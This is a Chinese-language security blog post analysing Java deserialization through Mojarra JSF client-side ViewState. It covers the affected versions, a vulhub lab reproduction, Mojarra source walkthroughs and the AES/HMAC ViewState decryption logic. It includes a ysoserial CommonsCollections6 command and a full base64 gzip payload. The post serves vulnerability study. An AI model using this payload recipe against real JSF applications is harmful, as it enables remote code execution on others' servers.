• Java安全之Mojarra JSF反序列化


    JavaServer Faces,新一代的Java Web应用技术标准,吸收了很多Java Servlet以及其他的Web应用框架的特性。JSF为Web应用开发定义了一个事件驱动的、基于组件的模型。

    其中常用的是Sun(现在的Oracle)发布的Mojarra和Apache发布的MyFaces

    JavaServerFaces(JSF)概念在几年前就已经引入,现在主要在J2EE中使用

    JSF 和类似的 Web 技术之间的区别在于 JSF 使用 ViewStates(除了会话)来存储视图的当前状态(例如,当前应该显示视图的哪些部分)。ViewState 可以存储在server或 上client。JSF ViewStates 通常作为隐藏字段自动嵌入到 HTML 表单中,名称为javax.faces.ViewState。如果提交表单,它们将被发送回服务器。(有点像.net中的viewstate)

    如果 JSF ViewState 配置为位于client隐藏javax.faces.ViewState字段上,则包含一个至少经过 Base64 编码的序列化 Java 对象。

    默认字段如下,其中javax.faces.ViewState的值为经过编码/加密处理的序列化对象

    <input type="hidden" name="javax.faces.ViewState" id="j_id__v_0:javax.faces.ViewState:1" value="rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s" autocomplete="off" />
    

    利用条件#

    所有MyFaces版本1.1.7、1.2.8、2.0和更早版本,以及Mojarra 1.2.14、2.0.2

    JSF2.2之前的规范要求实现加密机制,但不要求使用加密机制。

    Mojarra:ViewState配置为驻留在client (javax.faces.STATE_SAVING_METHOD)

    MyFaces: ViewState配置为驻留在client或 server

    如果能获取到加密密钥,那么即便进行加密,依然可以利用,默认情况下,Mojarra 使用AES加密算法HMAC-SHA256验证 ViewState。

    漏洞复现#

    vulhub拉取镜像将代码copy出来

    1. docker-compose up -d
    2. docker cp 568e46fdd891:/usr/src /tmp

    本地起tomcat搭建环境,vulhub用的jdk7u21链,建议本地搭的时候自己添加一个可利用的依赖

    生成payload命令,记得url编码

    1. java -jar ysoserial-for-woodpecker-0.5.2.jar -g CommonsCollections6 -a "raw_cmd:open -a Calculator" | gzip | base64
    2. H4sIAL4abWMAA5WUTWjUQBTHX5Kuta3S7RZKQcQetdjEQw/VPWitFhe2VWyR4l6c7s7uppsvJ5NttoqgoAW99LC1iKA99GYVxIMieCgePIgFvSh6EUHwoKAnj/om2W2zftXmkEwy8/+99/5vMstfIOYy6JgiZaJ6XDfUY8QtjlH++Mjl+euPHvYrAL4zvQ0A5IOHQFwSru+3WUElDskWqZq1TdO2XHwaBs1yXYxLtFImhkfVcZ3mRohz1OKscvXuq5v7V3a9k0FOg4JLOCTSIrBmEKugHZ+cQnkSp0zicGgPp0ROGhKSPn5T8raN0Xs3iI56NU1mKiizPlYv3arEqwpIaWjOkyy3Gcbdm0aEFiK0GkKLILRxRiw3bzOTMoyMMQ9sEDPvWYLtqkNFols0FwHse7bweffMQpMMUga265EZl0NfZnOpeKwm+VcyUcmTU73f3vR335BFI7F9ot3J/y4G3zixeAQ4UZ7rGJTvV2XhaIteX3EWLoDiO+X6XhItVU96FtdNCuvX5rxMWWW7RFkk+uynH6Vz51cHZFAyENMHWQE97Mz8aRu16SOUF+3cKDFp404b40y3CskMLjlBGDHHKw5FTCKKGTKI64Z+1/BhSTX83OrE7bi7x6i7KnNoLVBeKxhFiagohN3pen3v+YvTa50ADi2oCbP0hIE7BAktjK9Lw1wXvy4NzCQfHA6k5WCpK+6dgaxbyJy1IXK36IFzf4OGRTS0JYB2/wKV0BTboVZPH+kZIkbWMwj2hUMT9Wl2DS6JQU8gbXcb+p+yOC1QlviwuPT94iw2TUpBLDgY/IZ8Rj1zkrIry/M726rvr9X9kX4/mPCPjjW/XXnadealAvIwtBo2yQ0Hf3UKWniRUbdoGznfqZ1VML0Vb/GgRN//CQ5kWPztBAAA

     

    漏洞分析#

    Web.xml配置,p牛的环境中是没有加密的,加密的环境后面再说

    1. <servlet>
    2. <servlet-name>Faces Servlet</servlet-name>
    3. <servlet-class>javax.faces.webapp.FacesServlet</servlet-class>
    4. <load-on-startup>1</load-on-startup>
    5. </servlet>
    6. <!-- Map these files with JSF -->
    7. <servlet-mapping>
    8. <servlet-name>Faces Servlet</servlet-name>
    9. <url-pattern>/faces/*</url-pattern>
    10. </servlet-mapping>
    11. <servlet-mapping>
    12. <servlet-name>Faces Servlet</servlet-name>
    13. <url-pattern>*.jsf</url-pattern>
    14. </servlet-mapping>
    15. <servlet-mapping>
    16. <servlet-name>Faces Servlet</servlet-name>
    17. <url-pattern>*.faces</url-pattern>
    18. </servlet-mapping>
    19. <servlet-mapping>
    20. <servlet-name>Faces Servlet</servlet-name>
    21. <url-pattern>*.xhtml</url-pattern>
    22. </servlet-mapping>

    定位到jsf-api-2.1.28.jar!/javax/faces/webapp/FacesServlet#service

    debug, 跟进this.lifecycle.execute(context);

    1. public void service(ServletRequest req, ServletResponse resp) throws IOException, ServletException {
    2. HttpServletRequest request = (HttpServletRequest)req;
    3. HttpServletResponse response = (HttpServletResponse)resp;
    4. this.requestStart(request.getRequestURI());
    5. if (!this.isHttpMethodValid(request)) {
    6. response.sendError(400);
    7. } else {
    8. ......
    9. FacesContext context;
    10. if (!this.initFacesContextReleased) {
    11. context = FacesContext.getCurrentInstance();
    12. if (null != context) {
    13. context.release();
    14. }
    15. this.initFacesContextReleased = true;
    16. }
    17. context = this.facesContextFactory.getFacesContext(this.servletConfig.getServletContext(), request, response, this.lifecycle);
    18. try {
    19. ResourceHandler handler = context.getApplication().getResourceHandler();
    20. if (handler.isResourceRequest(context)) {
    21. handler.handleResourceRequest(context);
    22. } else {
    23. this.lifecycle.execute(context);
    24. this.lifecycle.render(context);
    25. }
    26. }

    跟进this.phases[i].doPhase ,这里会有循环遍历多个Phase对象去调用doPhase方法

    继续跟进到this.execute

    1. public void doPhase(FacesContext context, Lifecycle lifecycle, ListIterator listeners) {
    2. context.setCurrentPhaseId(this.getId());
    3. PhaseEvent event = null;
    4. if (listeners.hasNext()) {
    5. event = new PhaseEvent(context, this.getId(), lifecycle);
    6. }
    7. Timer timer = Timer.getInstance();
    8. if (timer != null) {
    9. timer.startTiming();
    10. }
    11. try {
    12. this.handleBeforePhase(context, listeners, event);
    13. if (!this.shouldSkip(context)) {
    14. this.execute(context);
    15. }

    在execute方法逻辑内,先通过facesContext.getExternalContext().getRequestMap();拿到一个RequestMap其中的值为ExternalContextImpl对象,该对象中包含了上下文、request、response等整体信息。后续跟进viewHandler.restoreView(facesContext, viewId);

    继续跟进getstate

    下面是一处关键点,通过刚才我们提到的ExternalContextImpl,从中对应的requestParameterMap中的key取出我们传入的payload,默认情况下是javax.faces.Viewstate,之后该值作为形参带入doGetState方法内

    下面是漏洞出发点的反序列化逻辑部分

    先Base64解码,解码后通过this.guard的值是否为null判断是否有加密,有加密的话会去调用this.guard.decrypt进行解密,之后ungzip解压

    之后将该流转换为ApplicationObjectInputStream并有一个timeout的判断逻辑,后直接反序列化

    存在加密的情况的话可能会有以下的配置

    1. <context-param>
    2. <param-name>javax.faces.STATE_SAVING_METHOD</param-name>
    3. <param-value>client</param-value>
    4. </context-param>
    5. <env-entry>
    6. <env-entry-name>com.sun.faces.ClientStateSavingPassword</env-entry-name>
    7. <env-entry-type>java.lang.String</env-entry-type>
    8. <env-entry-value>[some secret password]</env-entry-value>
    9. </env-entry>

    1. <context-param>
    2. <param-name>com.sun.faces.ClientSideSecretKey</param-name>
    3. <param-value>[some secret password]</param-value>
    4. </context-param>

    ClientSideStateHelper#doGetState中有如下代码

    其中guard来标识是否启用加密,有加密时会调用this.guard.decrypt进行解密

    1. if ("stateless".equals(stateString)) {
    2. return null;
    3. } else {
    4. ObjectInputStream ois = null;
    5. InputStream bis = new Base64InputStream(stateString);
    6. try {
    7. if (this.guard != null) {
    8. byte[] bytes = stateString.getBytes("UTF-8");
    9. int numRead = ((InputStream)bis).read(bytes, , bytes.length);
    10. byte[] decodedBytes = new byte[numRead];
    11. ((InputStream)bis).reset();
    12. ((InputStream)bis).read(decodedBytes, , decodedBytes.length);
    13. bytes = this.guard.decrypt(decodedBytes);
    14. if (bytes == null) {
    15. return null;
    16. }
    17. bis = new ByteArrayInputStream(bytes);
    18. }

    加解密逻辑均在ByteArrayGuard类中,需要时扣代码即可

    1. public byte[] decrypt(byte[] bytes) {
    2. try {
    3. byte[] macBytes = new byte[32];
    4. System.arraycopy(bytes, , macBytes, , macBytes.length);
    5. byte[] iv = new byte[16];
    6. System.arraycopy(bytes, macBytes.length, iv, , iv.length);
    7. byte[] encdata = new byte[bytes.length - macBytes.length - iv.length];
    8. System.arraycopy(bytes, macBytes.length + iv.length, encdata, , encdata.length);
    9. IvParameterSpec ivspec = new IvParameterSpec(iv);
    10. Cipher decryptCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
    11. decryptCipher.init(2, this.sk, ivspec);
    12. Mac decryptMac = Mac.getInstance("HmacSHA256");
    13. decryptMac.init(this.sk);
    14. decryptMac.update(iv);
    15. decryptMac.update(encdata);
    16. byte[] macBytesCalculated = decryptMac.doFinal();
    17. if (this.areArrayEqualsConstantTime(macBytes, macBytesCalculated)) {
    18. byte[] plaindata = decryptCipher.doFinal(encdata);
    19. return plaindata;
    20. } else {
    21. System.err.println("ERROR: MAC did not verify!");
    22. return null;
    23. }
    24. } catch (Exception var10) {
    25. System.err.println("ERROR: Decrypting:" + var10.getCause());
    26. return null;
    27. }
    28. }

    整体逻辑为,其中看lib版本和配置来判断走不走加解密

    1. * Generate Payload:
    2. * writeObject ==> Gzip ==> Encrpt ==> Base64Encode
    3. *
    4. * Recive Payload:
    5. * Base64Decode ==> Decrpt ==> UnGzip ==> readObject
  • 相关阅读:
    数据可视化工具中的显眼包:奥威BI自带方案上阵
    力扣:125. 验证回文串(Python3)
    tcp的1对多模型C++处理逻辑
    从东方财富爬取财务数据并进行数据可视化
    魔百盒九联UNT402A_S905L3_线刷固件包_语音蓝牙正常
    利用稳定扩散快速修复图像
    搞定“项目八怪”,你就是管理高手!
    攻防世界-WEB-php_rce
    双硬盘双系统ArchLinux安装备忘录
    供应链全流程计划与排产解决方案核心功能概要
  • 原文地址:https://blog.csdn.net/Ly768768/article/details/138208698